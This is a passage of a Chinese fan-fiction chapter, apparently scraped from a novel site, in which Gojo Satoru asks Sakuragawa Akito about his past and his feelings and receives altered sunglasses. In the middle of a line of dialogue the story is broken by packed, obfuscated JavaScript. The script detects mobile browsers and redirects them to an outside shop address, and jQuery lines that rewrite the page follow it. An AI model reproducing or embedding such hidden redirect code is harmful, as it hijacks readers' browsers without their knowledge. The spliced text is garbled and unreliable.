人不可能无缘无故的知道自己绝对不会死去,除非他曾反复涉足其间。
而在看到樱川秋人点头时,五条悟无端的觉得心跳落了一拍。
“是因为反复的……嗯,受伤,所以失去了痛觉吗?”
五条悟语气平缓,像是一位指导迷茫学生的好心老师,此刻正在谨慎的抽丝剥茧着问题的答案:“秋人觉醒术式是在那之前,还是之后?”
“差不多是这样吧。”
樱川秋人如是相告:“觉醒术式是在那之后,不过我也只是隐约的感觉到了,并没有怎么使用过。”
“这样呀。”
五条悟思考着点头,窗外天光已明,院内的温泉翻腾着朦胧水汽。
樱川秋人却没有就此停下言语,他思考着把先前的想法悉数说出:“所以我说,我应该做不到天元那样。”
所以大概不能够承接你的那一份期待。
五条悟勾了勾唇角,轻巧回复道:“唔,谁知道呢,没人规定能够与天元比肩的人一定要是天元那样的人,秋人只要做秋人就好了。”
樱川秋人若有所思着。
而一边的五条悟则轻咳一声,有点犹豫的询问:“那么,你的祖母……”
“十余年前就已经病逝了,说实话,没什么感觉。”
樱川秋人平静的回复道:“只是比拼耐力而已,我们要比老人优势显著一点。”
五条悟问:“比耐得住什么?”
“看她熬的过疾病,看我忍耐住在她去世之前不把刀捅进她的心窝。”
樱川秋人耸了耸肩,看起来没什么所谓:“毕竟这位的□□绝对没有她心肠那么坚硬。”
“不过,嗯,她病逝了。”
樱川秋人又重复了一遍这个结局。
完全是带有私人恩怨性话语听着语气却没什么起伏,五条悟只能自己猜测是不是因为时间能冲淡一切。
“秋人那个时候是怎么想的呢?”
五条悟挪了挪屁股,肩膀蹭过樱川的肩膀:“小孩觉醒术式的年纪一般不超过十岁,如果你不是例外的话,那么那时候的你,能够理解这一切么?”
“……”
樱川秋人茫然的摇了摇头:“唔,虽然应该是不理解的,但是我不太记得了。”
轻飘飘的言语揭过了不知道多少年前的苦痛与哀嚎,是灵魂也不愿意去回想,还是时间当真是世间一等一的良药?
五条悟不太想接着问下去了,嗯——好了,不问了,他知道的已经够多了。
如若还有什么问题,那就等下次再问。
反正樱川秋人一向诚恳——哦,对了。
还有一个问题,这个还是要问的。
五条悟想了想,选择摘下了鼻梁上的茶褐墨镜,他微微提了一下声音:“秋人?看着我。”
“嗯?”樱川秋人闻言偏头,金色的眼睛也追着他看了过来,俊秀美丽的面颊上是熟知的平静与求知,五条悟看着他,发现原来这人的睫毛也很长。
他故作玄虚的托高声音:“把眼睛闭上吧!”
樱川秋人:“?”
虽然不曾经的,但很好说话的校医先生还是柔顺的闭上了眼睛,眉间的疑惑神色仍未散去,看的五条悟的手蠢蠢欲动,很想试着把他按平一下。
不过……
五条悟活动着五指,将那副墨镜轻柔的戴在了樱川的脸上,因为樱川下意识的回避戴的有点歪,他还又帮忙理了一下才说:“好了,睁开眼吧。”
从方才开始就在剧烈颤抖的眼睫不再掩盖那双绮丽的眼睛,茶褐色的镜片却有效的削弱了这人若有似无的距离感——是以,五条悟满意的点了点头。
樱川秋人茫然的扶了一下眼镜腿,下意识询问:“私汤庭院里的积雪也有致雪盲的风险吗?”
“嗯?嗯嗯?哈哈哈,这个我不知道哦。”
五条悟忍不住翘翘嘴角,蓄意逗弄道:“但你待会儿泡的时候可以戴着,安全第一嘛。”
樱川秋人:“可我墨镜的确是只带了一副。”
五条悟看着虽然困惑但仍老实戴着的樱川秋人,咕哝着说:“多带几个墨镜的话我也得怀疑你是不是来度假的了——好了,别在乎那个,现在,我要问你最后一个问题。”
听见最后一个问题,樱川秋人也不再摆弄鼻梁上的墨镜,他点了点头示意你问。
五条悟清了清嗓子,郑重其事的询问着:“秋人似乎清楚对我的感情,那么到现在是否有所改变呢?”
这是一个有点难回答的问题。
樱川秋人曾经给出的答案是「嫉妒」,这绝对不是一个好的、自己满意的答案。
不够圆润,太过意气和狭隘……他下意识想要否定那个答案。
但是、但是——
如果不是这个名字,又该如何定义那份情感?
他眨了眨眼睛,下意识要去看五条悟的那双眼睛,却发现镜片的遮挡让他看不清明。
“……”
樱川的手指弹动,下意识想要摘下来,却被五条悟按住了手腕。
“不用动。”
他听见这个前辈这样说:“就这样回答我。”
樱川秋人再度缓慢的眨眼,心中陡然升起一股烦躁之意。
五条悟拉长声音,一字一句的重复问题:“你现在对我怀有的心情,有所改变吗?”
现在分明是冬日清晨,仅有两人相对而坐的院落气氛微凉的沉默,窗外破来一缕日光,墨镜修饰的世界仿佛又回到了夜晚。
昏沉而朦胧。
“……有。”
樱川秋人顺从心意说:“但,改变并不多。”
“我似乎依旧「嫉妒」着你,悟。”
五条悟轻飘飘的松开了手,往后仰着,耳边传来隐约的笑声,樱川秋人透过镜片去打量他——依旧如此,依旧纯粹而让人悸动。
“秋人,我觉得呢,你应该并不嫉妒我。”
五条悟笑咪咪的说:“所以如果想要我接受你的答案,目前的依据是不足够的。”
“……”
樱川秋人沉默着,然后小声说:“如果我说,其实我也对此不够确信呢?”
五条悟似乎对此并不意外:“哦?那是怎样的情感呢?”
“我不知道。”
樱川秋人想要抓住心中模糊的感觉,金色的杏眼在硕大的镜片后努力睁大,想要看清那抹蓝色:“你有答案吗,悟?”
五条悟伸出了手,摘下了那副墨镜,食指轻飘飘的敲过樱川的额头,把樱川瞪得溜圆的眼睛敲闭了回去。
看着下意识捂住额头的樱川,五条悟心情不错,他顺手转着手里的墨镜,说:“不知道,这是给你的问题哟,秋人同学。”
樱川秋人寻求答案未果,恹恹的放松了肢体:“…好吧。”
五条悟不依不饶:“如果有新的答案,记得告诉我哦!”
樱川秋人的眼睛还挺忙,既要看那双露出来的六眼,又要看那修长指间的墨镜:“这个答案很重要吗?”
白发的最强先生语气俏皮:“唔,对你来说,大概很重要。”
对我来说……嗯,也有点好奇。
五条悟笑眯眯的在心里定下了这个问题的意义。
“好吧。”
樱川秋人也是一如既往地好说话:“如果哪天有了新的感悟,我会说的。”
“我等着哟。”
五条悟眨了眨眼,澄澈的苍天之瞳与明亮的碎金双眼静默对视几秒,而后前者率先撤开。
“唔,那这个墨镜,我就戴走了?”
五条悟把那副跳槽来跳槽去的墨镜又架在了自己的鼻梁上,并郑重其事的推了推。
眼睛重新被墨镜遮挡,樱川秋人下意识凑近了一点,五条悟捏了捏耳垂,察觉到他因为那双眼睛被遮住而下意识的失落,有点得意又有点想要咋舌。
这家伙,在一些无声之处实在是坦然的让人想要叹气。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547695|202426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那,悟你靠过来一点。”
脑袋里还在思来索去,听见樱川秋人招呼的五条悟下意识把头撇过去了一点:“怎么啦——咦?”
樱川秋人的指尖抵在眼镜腿上,如果忽略掌心与五条悟面颊的距离,这完全是一个过于亲昵的状态。
与人勾肩搭背并不是没有,但在这种安静的情形下,将触未触的微妙距离感更容易催生少有的感受。
五条悟喉咙里压着一声轻哼,没有及时撤开是因为六眼告诉他面前这人突然开始运转咒力了。
磅礴而细小,如瀚然大海泄于一尾浅溪,咒力丝丝缕缕的缠住了墨镜,却没有碰到他的眼睛。
于是六眼看的很清楚,他也听得很清楚。
樱川秋人呢喃:“「识」。”
嚓。
像是不存在的事物发出轻响,似火柴头擦过擦火皮的声响——随即他的眼前骤然一黑,六眼从半夜就持续性接受的大量讯息顿时锐减。
“。”
五条悟讶然的挑眉。
樱川秋人收回了手,五条悟却新奇的将墨镜摘下来打量良久:“哇,看不见了——效果跟我那些特别定制的墨镜也差不离哦!”
其实单从性能而言,或许还要优于那些六眼特供款的墨镜——毕竟再特别定制的墨镜也只是一层滤网,而樱川秋人方才的做法则更加简单粗暴。
“我……嗯,抽离了它透明的性质,所以它现在是不能够「视物」的。”
樱川秋人看着他,看着他把玩墨镜又戴上摘下,他的手撑住下颌:“现在会舒服一点吗?”
五条悟嗯嗯应声:“哈哈,那这个算是咒具吗?”
“嗯,六眼视野里咒具应该也不是空白的。”樱川秋人说:“所以只用了一点点小手法,这样咒力也就更加微末——会觉得吵吗?”
该说不愧是反转术式应用者出品吗?
五条悟看着空无的镜片,上面流动的咒力几近于无,可以说,这是一副非常安静的降噪用品了。
“这是术式的其余应用方式吗?”
五条悟戴着眼镜四处望着:“感觉你做的好轻松,那个皮夹还有里面的东西都是这样做的吗?”
樱川秋人有点尴尬的咳了一声:“嗯……不过因为原材料普通,手段也粗糙,所以质量大概不算很好。”
用通俗一点的话就是有耐久。
五条悟唇角翘着,他当然看出来了这一点,甚至六眼解构着面前的墨镜能够分析出最多三个月这玩意儿就会自动解体这件事。
但又有什么关系?这已经足够让人惊喜了。
五条悟兴致勃勃的问:“那个皮夹里还装了些什么?”
“嗯?很多——”樱川秋人若有所思的说:“我记得不记得的都有,我还得定期清理自动粉碎处理的垃圾。”
这个答案影响不了五条悟的好兴致。
他乐呵呵的歪头,看着樱川秋人:“能装得下我吗?”
樱川秋人:“……”
樱川秋人:“诶?”
“干脆我现在就藏进去,等伊地知回来你就向他打开钱包…”
五条悟兴致勃勃的畅想着,说到兴处还挥了挥手:“然后我就——砰!震撼登场!”
樱川秋人的脑海里预演了一下那个画面,想到的是伊地知尖叫着晕厥。
嗯,但是也不是什么大事。
樱川秋人认真说:“那不如回学校再说,这种游戏还是人多的地方比较好玩吧。”
而且这样的话,就得要换一个大一点的包了……虽然用钱夹装走悟好像也挺诱人的。
樱川秋人按住了自己蠢蠢欲动的内心,神色如常的话:“而且,这个里面的空间也不够大,等我回头重新做一个再好好计划怎么样。”
五条悟在樱川秋人的语气里敏锐的觉察出了挣扎、期待还有承诺。
这人比自己还期待吗?
五条悟闷笑,用一贯的俏皮模样回答:“好喔,那就下次再说吧。”